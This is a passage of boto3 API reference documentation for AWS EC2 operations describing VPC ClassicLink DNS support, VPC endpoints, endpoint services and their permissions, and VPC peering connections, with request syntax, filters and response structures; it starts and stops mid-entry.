VPCs. + + * _(dict) --_ + + Describes whether a VPC is enabled for ClassicLink. + + * **ClassicLinkEnabled** _(boolean) --_ + + Indicates whether the VPC is enabled for ClassicLink. + + * **Tags** _(list) --_ + + Any tags assigned to the VPC. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + +describe_vpc_classic_link_dns_support(kwargs_) + +Describes the ClassicLink DNS support status of one or more VPCs. If enabled, the DNS hostname of a linked EC2-Classic instance resolves to its private IP address when addressed from an instance in the VPC to which it's linked. Similarly, the DNS hostname of an instance in a VPC resolves to its private IP address when addressed from a linked EC2-Classic instance. For more information, see [ClassicLink](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/vpc-classiclink.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcClassicLinkDnsSupport) + +**Request Syntax** + +response = client.describe_vpc_classic_link_dns_support( + MaxResults=123, + NextToken='string', + VpcIds=[ + 'string', + ] +) + +Parameters + +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **VpcIds** (_list_) -- + + One or more VPC IDs. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'Vpcs': [ + { + 'ClassicLinkDnsSupported': True|False, + 'VpcId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + * **Vpcs** _(list) --_ + + Information about the ClassicLink DNS support status of the VPCs. + + * _(dict) --_ + + Describes the ClassicLink DNS support status of a VPC. + + * **ClassicLinkDnsSupported** _(boolean) --_ + + Indicates whether ClassicLink DNS support is enabled for the VPC. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + +describe_vpc_endpoint_connection_notifications(kwargs_)definition") + +Describes the connection notifications for VPC endpoints and VPC endpoint services. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcEndpointConnectionNotifications) + +**Request Syntax** + +response = client.describe_vpc_endpoint_connection_notifications( + DryRun=True|False, + ConnectionNotificationId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ConnectionNotificationId** (_string_) -- The ID of the notification. +* **Filters** (_list_) -- + + One or more filters. + + * connection-notification-arn - The ARN of the SNS topic for the notification. + * connection-notification-id - The ID of the notification. + * connection-notification-state - The state of the notification (Enabled | Disabled ). + * connection-notification-type - The type of notification (Topic ). + * service-id - The ID of the endpoint service. + * vpc-endpoint-id - The ID of the VPC endpoint. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another request with the returned NextToken value. +* **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ConnectionNotificationSet': [ + { + 'ConnectionNotificationId': 'string', + 'ServiceId': 'string', + 'VpcEndpointId': 'string', + 'ConnectionNotificationType': 'Topic', + 'ConnectionNotificationArn': 'string', + 'ConnectionEvents': [ + 'string', + ], + 'ConnectionNotificationState': 'Enabled'|'Disabled' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **ConnectionNotificationSet** _(list) --_ + + One or more notifications. + + * _(dict) --_ + + Describes a connection notification for a VPC endpoint or VPC endpoint service. + + * **ConnectionNotificationId** _(string) --_ + + The ID of the notification. + + * **ServiceId** _(string) --_ + + The ID of the endpoint service. + + * **VpcEndpointId** _(string) --_ + + The ID of the VPC endpoint. + + * **ConnectionNotificationType** _(string) --_ + + The type of notification. + + * **ConnectionNotificationArn** _(string) --_ + + The ARN of the SNS topic for the notification. + + * **ConnectionEvents** _(list) --_ + + The events for the notification. Valid values are Accept , Connect , Delete , and Reject . + + * _(string) --_ + * **ConnectionNotificationState** _(string) --_ + + The state of the notification. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_vpc_endpoint_connections(kwargs_) + +Describes the VPC endpoint connections to your VPC endpoint services, including any endpoints that are pending your acceptance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcEndpointConnections) + +**Request Syntax** + +response = client.describe_vpc_endpoint_connections( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Filters** (_list_) -- + + One or more filters. + + * service-id - The ID of the service. + * vpc-endpoint-owner - The AWS account number of the owner of the endpoint. + * vpc-endpoint-state - The state of the endpoint (pendingAcceptance | pending | available | deleting | deleted | rejected | failed ). + * vpc-endpoint-id - The ID of the endpoint. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return for the request in a single page. The remaining results of the initial request can be seen by sending another request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. +* **NextToken** (_string_) -- The token to retrieve the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpcEndpointConnections': [ + { + 'ServiceId': 'string', + 'VpcEndpointId': 'string', + 'VpcEndpointOwner': 'string', + 'VpcEndpointState': 'PendingAcceptance'|'Pending'|'Available'|'Deleting'|'Deleted'|'Rejected'|'Failed'|'Expired', + 'CreationTimestamp': datetime(2015, 1, 1), + 'DnsEntries': [ + { + 'DnsName': 'string', + 'HostedZoneId': 'string' + }, + ], + 'NetworkLoadBalancerArns': [ + 'string', + ], + 'GatewayLoadBalancerArns': [ + 'string', + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **VpcEndpointConnections** _(list) --_ + + Information about one or more VPC endpoint connections. + + * _(dict) --_ + + Describes a VPC endpoint connection to a service. + + * **ServiceId** _(string) --_ + + The ID of the service to which the endpoint is connected. + + * **VpcEndpointId** _(string) --_ + + The ID of the VPC endpoint. + + * **VpcEndpointOwner** _(string) --_ + + The AWS account ID of the owner of the VPC endpoint. + + * **VpcEndpointState** _(string) --_ + + The state of the VPC endpoint. + + * **CreationTimestamp** _(datetime) --_ + + The date and time that the VPC endpoint was created. + + * **DnsEntries** _(list) --_ + + The DNS entries for the VPC endpoint. + + * _(dict) --_ + + Describes a DNS entry. + + * **DnsName** _(string) --_ + + The DNS name. + + * **HostedZoneId** _(string) --_ + + The ID of the private hosted zone. + + * **NetworkLoadBalancerArns** _(list) --_ + + The Amazon Resource Names (ARNs) of the network load balancers for the service. + + * _(string) --_ + * **GatewayLoadBalancerArns** _(list) --_ + + The Amazon Resource Names (ARNs) of the Gateway Load Balancers for the service. + + * _(string) --_ + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_vpc_endpoint_service_configurations(kwargs_) + +Describes the VPC endpoint service configurations in your account (your services). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcEndpointServiceConfigurations) + +**Request Syntax** + +response = client.describe_vpc_endpoint_service_configurations( + DryRun=True|False, + ServiceIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ServiceIds** (_list_) -- + + The IDs of one or more services. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. + + * service-name - The name of the service. + * service-id - The ID of the service. + * service-state - The state of the service (Pending | Available | Deleting | Deleted | Failed ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return for the request in a single page. The remaining results of the initial request can be seen by sending another request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. +* **NextToken** (_string_) -- The token to retrieve the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ServiceConfigurations': [ + { + 'ServiceType': [ + { + 'ServiceType': 'Interface'|'Gateway'|'GatewayLoadBalancer' + }, + ], + 'ServiceId': 'string', + 'ServiceName': 'string', + 'ServiceState': 'Pending'|'Available'|'Deleting'|'Deleted'|'Failed', + 'AvailabilityZones': [ + 'string', + ], + 'AcceptanceRequired': True|False, + 'ManagesVpcEndpoints': True|False, + 'NetworkLoadBalancerArns': [ + 'string', + ], + 'GatewayLoadBalancerArns': [ + 'string', + ], + 'BaseEndpointDnsNames': [ + 'string', + ], + 'PrivateDnsName': 'string', + 'PrivateDnsNameConfiguration': { + 'State': 'pendingVerification'|'verified'|'failed', + 'Type': 'string', + 'Value': 'string', + 'Name': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **ServiceConfigurations** _(list) --_ + + Information about one or more services. + + * _(dict) --_ + + Describes a service configuration for a VPC endpoint service. + + * **ServiceType** _(list) --_ + + The type of service. + + * _(dict) --_ + + Describes the type of service for a VPC endpoint. + + * **ServiceType** _(string) --_ + + The type of service. + + * **ServiceId** _(string) --_ + + The ID of the service. + + * **ServiceName** _(string) --_ + + The name of the service. + + * **ServiceState** _(string) --_ + + The service state. + + * **AvailabilityZones** _(list) --_ + + The Availability Zones in which the service is available. + + * _(string) --_ + * **AcceptanceRequired** _(boolean) --_ + + Indicates whether requests from other AWS accounts to create an endpoint to the service must first be accepted. + + * **ManagesVpcEndpoints** _(boolean) --_ + + Indicates whether the service manages its VPC endpoints. Management of the service VPC endpoints using the VPC endpoint API is restricted. + + * **NetworkLoadBalancerArns** _(list) --_ + + The Amazon Resource Names (ARNs) of the Network Load Balancers for the service. + + * _(string) --_ + * **GatewayLoadBalancerArns** _(list) --_ + + The Amazon Resource Names (ARNs) of the Gateway Load Balancers for the service. + + * _(string) --_ + * **BaseEndpointDnsNames** _(list) --_ + + The DNS names for the service. + + * _(string) --_ + * **PrivateDnsName** _(string) --_ + + The private DNS name for the service. + + * **PrivateDnsNameConfiguration** _(dict) --_ + + Information about the endpoint service private DNS name configuration. + + * **State** _(string) --_ + + The verification state of the VPC endpoint service. + + >Consumers of the endpoint service can use the private name only when the state is verified . + + * **Type** _(string) --_ + + The endpoint service verification type, for example TXT. + + * **Value** _(string) --_ + + The value the service provider adds to the private DNS name domain record before verification. + + * **Name** _(string) --_ + + The name of the record subdomain the service provider needs to create. The service provider adds the value text to the name . + + * **Tags** _(list) --_ + + Any tags assigned to the service. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_vpc_endpoint_service_permissions(kwargs_) + +Describes the principals (service consumers) that are permitted to discover your VPC endpoint service. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcEndpointServicePermissions) + +**Request Syntax** + +response = client.describe_vpc_endpoint_service_permissions( + DryRun=True|False, + ServiceId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ServiceId** (_string_) -- + + **[REQUIRED]** + + The ID of the service. + +* **Filters** (_list_) -- + + One or more filters. + + * principal - The ARN of the principal. + * principal-type - The principal type (All | Service | OrganizationUnit | Account | User | Role ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return for the request in a single page. The remaining results of the initial request can be seen by sending another request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. +* **NextToken** (_string_) -- The token to retrieve the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AllowedPrincipals': [ + { + 'PrincipalType': 'All'|'Service'|'OrganizationUnit'|'Account'|'User'|'Role', + 'Principal': 'string' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **AllowedPrincipals** _(list) --_ + + Information about one or more allowed principals. + + * _(dict) --_ + + Describes a principal. + + * **PrincipalType** _(string) --_ + + The type of principal. + + * **Principal** _(string) --_ + + The Amazon Resource Name (ARN) of the principal. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_vpc_endpoint_services(kwargs_) + +Describes available services to which you can create a VPC endpoint. + +When the service provider and the consumer have different accounts multiple Availability Zones, and the consumer views the VPC endpoint service information, the response only includes the common Availability Zones. For example, when the service provider account uses us-east-1a and us-east-1c and the consumer uses us-east-1a and us-east-1a and us-east-1b, the response includes the VPC endpoint services in the common Availability Zone, us-east-1a . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcEndpointServices) + +**Request Syntax** + +response = client.describe_vpc_endpoint_services( + DryRun=True|False, + ServiceNames=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ServiceNames** (_list_) -- + + One or more service names. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. + + * service-name - The name of the service. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- + + The maximum number of items to return for this request. The request returns a token that you can specify in a subsequent call to get the next set of results. + + Constraint: If the value is greater than 1,000, we return only 1,000 items. + +* **NextToken** (_string_) -- The token for the next set of items to return. (You received this token from a prior call.) + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ServiceNames': [ + 'string', + ], + 'ServiceDetails': [ + { + 'ServiceName': 'string', + 'ServiceId': 'string', + 'ServiceType': [ + { + 'ServiceType': 'Interface'|'Gateway'|'GatewayLoadBalancer' + }, + ], + 'AvailabilityZones': [ + 'string', + ], + 'Owner': 'string', + 'BaseEndpointDnsNames': [ + 'string', + ], + 'PrivateDnsName': 'string', + 'PrivateDnsNames': [ + { + 'PrivateDnsName': 'string' + }, + ], + 'VpcEndpointPolicySupported': True|False, + 'AcceptanceRequired': True|False, + 'ManagesVpcEndpoints': True|False, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'PrivateDnsNameVerificationState': 'pendingVerification'|'verified'|'failed' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeVpcEndpointServices. + + * **ServiceNames** _(list) --_ + + A list of supported services. + + * _(string) --_ + * **ServiceDetails** _(list) --_ + + Information about the service. + + * _(dict) --_ + + Describes a VPC endpoint service. + + * **ServiceName** _(string) --_ + + The Amazon Resource Name (ARN) of the service. + + * **ServiceId** _(string) --_ + + The ID of the endpoint service. + + * **ServiceType** _(list) --_ + + The type of service. + + * _(dict) --_ + + Describes the type of service for a VPC endpoint. + + * **ServiceType** _(string) --_ + + The type of service. + + * **AvailabilityZones** _(list) --_ + + The Availability Zones in which the service is available. + + * _(string) --_ + * **Owner** _(string) --_ + + The AWS account ID of the service owner. + + * **BaseEndpointDnsNames** _(list) --_ + + The DNS names for the service. + + * _(string) --_ + * **PrivateDnsName** _(string) --_ + + The private DNS name for the service. + + * **PrivateDnsNames** _(list) --_ + + The private DNS names assigned to the VPC endpoint service. + + * _(dict) --_ + + Information about the Private DNS name for interface endpoints. + + * **PrivateDnsName** _(string) --_ + + The private DNS name assigned to the VPC endpoint service. + + * **VpcEndpointPolicySupported** _(boolean) --_ + + Indicates whether the service supports endpoint policies. + + * **AcceptanceRequired** _(boolean) --_ + + Indicates whether VPC endpoint connection requests to the service must be accepted by the service owner. + + * **ManagesVpcEndpoints** _(boolean) --_ + + Indicates whether the service manages its VPC endpoints. Management of the service VPC endpoints using the VPC endpoint API is restricted. + + * **Tags** _(list) --_ + + Any tags assigned to the service. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **PrivateDnsNameVerificationState** _(string) --_ + + The verification state of the VPC endpoint service. + + Consumers of the endpoint service cannot use the private name when the state is not verified . + + * **NextToken** _(string) --_ + + The token to use when requesting the next set of items. If there are no additional items to return, the string is empty. + + +describe_vpc_endpoints(kwargs_) + +Describes one or more of your VPC endpoints. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcEndpoints) + +**Request Syntax** + +response = client.describe_vpc_endpoints( + DryRun=True|False, + VpcEndpointIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcEndpointIds** (_list_) -- + + One or more endpoint IDs. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. + + * service-name - The name of the service. + * vpc-id - The ID of the VPC in which the endpoint resides. + * vpc-endpoint-id - The ID of the endpoint. + * vpc-endpoint-state - The state of the endpoint (pendingAcceptance | pending | available | deleting | deleted | rejected | failed ). + * vpc-endpoint-type - The type of VPC endpoint (Interface | Gateway | GatewayLoadBalancer ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- + + The maximum number of items to return for this request. The request returns a token that you can specify in a subsequent call to get the next set of results. + + Constraint: If the value is greater than 1,000, we return only 1,000 items. + +* **NextToken** (_string_) -- The token for the next set of items to return. (You received this token from a prior call.) + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpcEndpoints': [ + { + 'VpcEndpointId': 'string', + 'VpcEndpointType': 'Interface'|'Gateway'|'GatewayLoadBalancer', + 'VpcId': 'string', + 'ServiceName': 'string', + 'State': 'PendingAcceptance'|'Pending'|'Available'|'Deleting'|'Deleted'|'Rejected'|'Failed'|'Expired', + 'PolicyDocument': 'string', + 'RouteTableIds': [ + 'string', + ], + 'SubnetIds': [ + 'string', + ], + 'Groups': [ + { + 'GroupId': 'string', + 'GroupName': 'string' + }, + ], + 'PrivateDnsEnabled': True|False, + 'RequesterManaged': True|False, + 'NetworkInterfaceIds': [ + 'string', + ], + 'DnsEntries': [ + { + 'DnsName': 'string', + 'HostedZoneId': 'string' + }, + ], + 'CreationTimestamp': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'OwnerId': 'string', + 'LastError': { + 'Message': 'string', + 'Code': 'string' + } + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeVpcEndpoints. + + * **VpcEndpoints** _(list) --_ + + Information about the endpoints. + + * _(dict) --_ + + Describes a VPC endpoint. + + * **VpcEndpointId** _(string) --_ + + The ID of the VPC endpoint. + + * **VpcEndpointType** _(string) --_ + + The type of endpoint. + + * **VpcId** _(string) --_ + + The ID of the VPC to which the endpoint is associated. + + * **ServiceName** _(string) --_ + + The name of the service to which the endpoint is associated. + + * **State** _(string) --_ + + The state of the VPC endpoint. + + * **PolicyDocument** _(string) --_ + + The policy document associated with the endpoint, if applicable. + + * **RouteTableIds** _(list) --_ + + (Gateway endpoint) One or more route tables associated with the endpoint. + + * _(string) --_ + * **SubnetIds** _(list) --_ + + (Interface endpoint) One or more subnets in which the endpoint is located. + + * _(string) --_ + * **Groups** _(list) --_ + + (Interface endpoint) Information about the security groups that are associated with the network interface. + + * _(dict) --_ + + Describes a security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **PrivateDnsEnabled** _(boolean) --_ + + (Interface endpoint) Indicates whether the VPC is associated with a private hosted zone. + + * **RequesterManaged** _(boolean) --_ + + Indicates whether the VPC endpoint is being managed by its service. + + * **NetworkInterfaceIds** _(list) --_ + + (Interface endpoint) One or more network interfaces for the endpoint. + + * _(string) --_ + * **DnsEntries** _(list) --_ + + (Interface endpoint) The DNS entries for the endpoint. + + * _(dict) --_ + + Describes a DNS entry. + + * **DnsName** _(string) --_ + + The DNS name. + + * **HostedZoneId** _(string) --_ + + The ID of the private hosted zone. + + * **CreationTimestamp** _(datetime) --_ + + The date and time that the VPC endpoint was created. + + * **Tags** _(list) --_ + + Any tags assigned to the VPC endpoint. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the VPC endpoint. + + * **LastError** _(dict) --_ + + The last error that occurred for VPC endpoint. + + * **Message** _(string) --_ + + The error message for the VPC endpoint error. + + * **Code** _(string) --_ + + The error code for the VPC endpoint error. + + * **NextToken** _(string) --_ + + The token to use when requesting the next set of items. If there are no additional items to return, the string is empty. + + +describe_vpc_peering_connections(kwargs_) + +Describes one or more of your VPC peering connections. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +response = client.describe_vpc_peering_connections( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + VpcPeeringConnectionIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * accepter-vpc-info.cidr-block - The IPv4 CIDR block of the accepter VPC. + * accepter-vpc-info.owner-id - The AWS account ID of the owner of the accepter VPC. + * accepter-vpc-info.vpc-id - The ID of the accepter VPC. + * expiration-time - The expiration date and time for the VPC peering connection. + * requester-vpc-info.cidr-block - The IPv4 CIDR block of the requester's VPC. + * requester-vpc-info.owner-id - The AWS account ID of the owner of the requester VPC. + * requester-vpc-info.vpc-id - The ID of the requester VPC. + * status-code - The status of the VPC peering connection (pending-acceptance | failed | expired | provisioning | active | deleting | deleted | rejected ). + * status-message - A message that provides more information about the status of the VPC peering connection, if applicable. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-peering-connection-id - The ID of the VPC peering connection. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcPeeringConnectionIds** (_list_) -- + + One or more VPC peering connection IDs. + + Default: Describes all your VPC peering connections. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpcPeeringConnections': [ + { + 'AccepterVpcInfo': { + 'CidrBlock': 'string', + 'Ipv6CidrBlockSet': [ + { + 'Ipv6CidrBlock': 'string' + }, + ], + 'CidrBlockSet': [ + { + 'CidrBlock': 'string' + }, + ], + 'OwnerId': 'string', + 'PeeringOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'VpcId': 'string', + 'Region': 'string' + }, + 'ExpirationTime': datetime(2015, 1, 1), + 'RequesterVpcInfo': { + 